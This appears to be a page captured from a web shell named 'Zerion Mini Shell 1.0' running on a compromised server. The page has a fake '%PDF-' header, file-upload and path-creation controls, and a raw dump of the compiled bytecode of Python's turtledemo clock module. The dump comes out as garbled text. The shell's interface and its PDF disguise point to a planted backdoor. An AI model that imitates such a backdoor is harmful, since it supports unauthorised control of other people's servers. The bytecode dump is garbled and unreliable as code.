%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python3.8/turtledemo/__pycache__/
Upload File :
Create Path :
Current File : //usr/local/lib/python3.8/turtledemo/__pycache__/clock.cpython-38.pyc

U

qa@sdZddlTddlmZdddZddZdd	Zd
dZdd
ZddZddZ	ddZ
ddZedkre
deZeeedS)z       turtle-example-suite:

             tdemo_clock.py

Enhanced clock-program, showing date
and time
  ------------------------------------
   Press STOP to exit the program!
  ------------------------------------
)*)datetimecCs(tt|t|t|tdS)N)ZpenuprightforwardleftZpendown)ZdistanzZwinkelr,/usr/local/lib/python3.8/turtledemo/clock.pyjumps
r	cCsXt|dtdt|dtdt|tdt|tdt|ddS)Ngffffff?Zg@x)fdrtlt)laengespitzerrrhandsrcCs>tt|dtt||tt}t||dS)Ng333333?)resetr	Z
begin_polyrZend_polyZget_polyZregister_shape)namerrZ	hand_formrrrmake_hand_shape"s
rcCsfttdtdD]J}t||ddkrFtdt|dntdt|tdqdS)N<r)rZpensizeranger	rdotr
)Zradiusirrr	clockface+s
rcCstdtdddtdddtdddtd	tatdtd
dtatdtdd
tatdtddtttfD]&}|	d|
ddd|dqtta
t
t
t
ddS)Nlogosecond_hand}rminute_hand	hour_handr
Zgray20Zgray80Zblue1Zred1Zblue3Zred3userrrU)moderrZTurtler shapeZcolorr"r$Z
resizemodeZ	shapesizeZspeedZhtwriterZpuZbk)rrrrsetup8s.



r,cCsdddddddg}||S)NZMondayZTuesdayZ	WednesdayZThursdayZFridayZSaturdayZSunday)Zweekday)t	wochentagrrrr.Ssr.cCsDddddddddd	d
ddg}|j}||jd
}|j}d|||fS)NzJan.zFeb.zMar.zApr.ZMayZJuneZJulyzAug.zSep.zOct.zNov.zDec.r'z%s %d %d)ZyearZmonthZday)zZmonatjmr-rrrdatumXsr2cCst}|j|jd}|j|d}|j|d}ztdtt	t
dtjt|dddt
dtjt|dddt
d	td
td|td|td|td
ttd
Wntk
rYnXdS)Ngư>gN@FAcenter)ZCourierZbold)ZalignZfontr(Trd)rZtodaysecondZmicrosecondminuteZhourtracerr+clearhomerwriter.Zbackr2r Z
setheadingr"r$ZontimertickZ
Terminator)r-Zsekunder:Zstunderrrr?`s6




r?cCs tdttdtdS)NFTZ	EVENTLOOP)r;r,r?rrrrmainys
r@__main__rN)r)__doc__Zturtlerr	rrrr,r.r2r?r@__name__r)msgprintZmainlooprrrr<module>s 

	


Zerion Mini Shell 1.0